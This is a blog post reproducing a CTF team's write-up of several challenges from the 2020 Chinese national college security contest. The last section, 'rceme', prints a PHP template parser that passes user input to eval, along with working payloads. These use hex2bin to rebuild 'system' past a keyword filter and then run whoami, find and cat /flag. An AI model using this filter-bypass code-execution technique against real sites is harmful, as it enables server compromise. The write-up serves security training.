HacKerQWQ的博客空间

2020全国大学生信息安全大赛-初赛部分writeup

Word count: 2.3kReading time: 11 min
2020/08/21 Share

这里放上合天智汇的wp

Team233_t2战队WRITEUP

一、战队信息

战队名称:Team233_t2

战队排名:428

二、解题情况

image-20200821122040092

三、解题过程

题目序号:1

题目名称:签到

操作内容:

一开始的图找不到了….
每个参赛地区助力人数都达到10个就可以直接获取flag~

flag{同舟共济扬帆起,乘风破浪万里航。}

题目序号:2

题目名称:the_best_ctf_game

操作内容:

  • 下载附件
  • 得到一个命名为flag的文件,通过linux指令file+文件名确定文件类型为data
  • 想到应通过记事本、word文档或者音频视频软件打开
  • 在用记事本打开后,发现是乱码,但是乱码里面又有字符
  • 适当调整记事本,使字符排列整齐

  • 接着就可以看到**flag{}**,采用删除或者替换的方式消去乱码,即可获得flag

  • flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

题目序号:3

题目名称:电脑被黑

操作内容:

  • 首先根据题目提示已经附件的文件名,推断是磁盘文件损坏了
    采用 ext3grep工具恢复文件

  • 可以看到恢复出了几个文件,其中便包括flag.txt
    但是却并不能直接打开 又发现demo程序是可执行的
    执行打印了一句话“无法打开文件” 猜测应该是需要传递参数
    拖进IDA中看看逻辑

  • 可以看到demo会尝试打开传递给它的第一个参数 并执行一些操作后再写回这个文件
    知道了函数的逻辑以及关键算法 我们可以开始写脚本来逆向
1
2
3
4
5
6
7
8
9
10
11
12
13
14
a = open("flag.txt", "rb")
v7 = a.read()

v4 = 34
v5 = 0
flag = []
for i in range(len(v7)):
for j in range(0, 127):
if chr(v4 ^ (v5+j)) == v7[i]:
flag.append(chr(j))
v4 = (v4+34) & 0xff
v5 = (v5+2) & 0xf

print ("".join(flag))
  • flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

题目序号:15

题目名称:Z3

操作内容:

  • 题目提示常规逆向 直接IDA打开看逻辑

  • 发现是利用我们的输入计算后与文件中存储的数据比较,比对成功后打印’win’
    那么可以得知我们的输入就是flag,需要做的就是提取文件中的数据再进行逆运算得到结果

  • 数据存放的地方:

  • 由于经验不足… 函数中的计算理解为了解方程题
    不过每个方程的系数都是相同的 只有结果不一样
    考虑通过excel来解这几个六元一次方程

  • 大致操作如下
    先将系数和结果按顺序写入表格
    再用MINVERSE来求逆矩阵

  • 最后通过MMULT来求方程的结果

  • 得到每个方程组的结果后 将其转换为字符串即可得到flag

  • flag{7e171d43-63b9-4e18-990e-6e14c2afe648}

题目序号:22

题目名称:rceme

操作内容:

题目源码:

进入题目地址得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

通过源码关键字搜索,以及经验得知本题和zzzphp模板有关

image-20200821125353965

题目提示和命令执行有关

image-20200821130447895

再通过搜索引擎搜索zzzphp有没有远程命令执行漏洞

image-20200821131538391

找到两篇参考博客:

链接:https://xz.aliyun.com/t/4471

image-20200821132442497

链接:https://xz.aliyun.com/t/6068

image-20200821132525899

  • 引入模板相关函数:
1
20 function parserIfLabel( $content ) 
  • 发现eval 函数,且有$ifstr 变量,只要该变量可控,即可执行任意代码
1
44 @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
  • 查看过滤条件
1
21 $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
  • 即需要满足如下格式
1
2
3
{if:条件}
代码
{end if}
  • 再跟进danger_key() 函数的代码
1
8  $s = str_ireplace($key,"*",$s);
  • 发现使用了str_ireplace函数来替换关键字
1
2
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');

关于str_ireplace函数:

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组。
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
  • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

注释:该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。

绕过方法:

因为该函数是替换一次,所以可以用双写绕过,但是关键字会被替换成字符”*”,且”$”也被过滤了,所以此方法无效。

于是利用:hex2bin() 函数和 system() 函数绕过

image-20200821141010574

  • 先将system转换为十六进制字符串:

image-20200821141210222

  • 即:73797374656d再配合hex2bin() 函数实现动态转换绕过

payload:

1
?a={if:1)hex2bin('73797374656d')('whoami');//}{end if}

image-20200821141647581

  • 远程命令执行成功,接下来搜索flag所在位置
1
?a={if:1)hex2bin('73797374656d')('find / -name flag*');//}{end if}

image-20200821141945698

  • 找到了flag所在位置,最终查看flag文件即可得到flag
1
?a={if:1)hex2bin('73797374656d')('cat /flag');//}{end if}

image-20200821142112628

  • flag{08c7b501-194d-4789-bff9-8f7735f5b561}
CATALOG
  1. 1. 一、战队信息
  2. 2. 二、解题情况
  3. 3. 三、解题过程
    1. 3.1. 题目序号:1
    2. 3.2. 题目名称:签到
    3. 3.3. 操作内容:
    4. 3.4. 题目序号:2
    5. 3.5. 题目名称:the_best_ctf_game
    6. 3.6. 操作内容:
    7. 3.7. 题目序号:3
    8. 3.8. 题目名称:电脑被黑
    9. 3.9. 操作内容:
    10. 3.10. 题目序号:15
    11. 3.11. 题目名称:Z3
    12. 3.12. 操作内容:
    13. 3.13. 题目序号:22
    14. 3.14. 题目名称:rceme
    15. 3.15. 操作内容:
    16. 3.16. payload: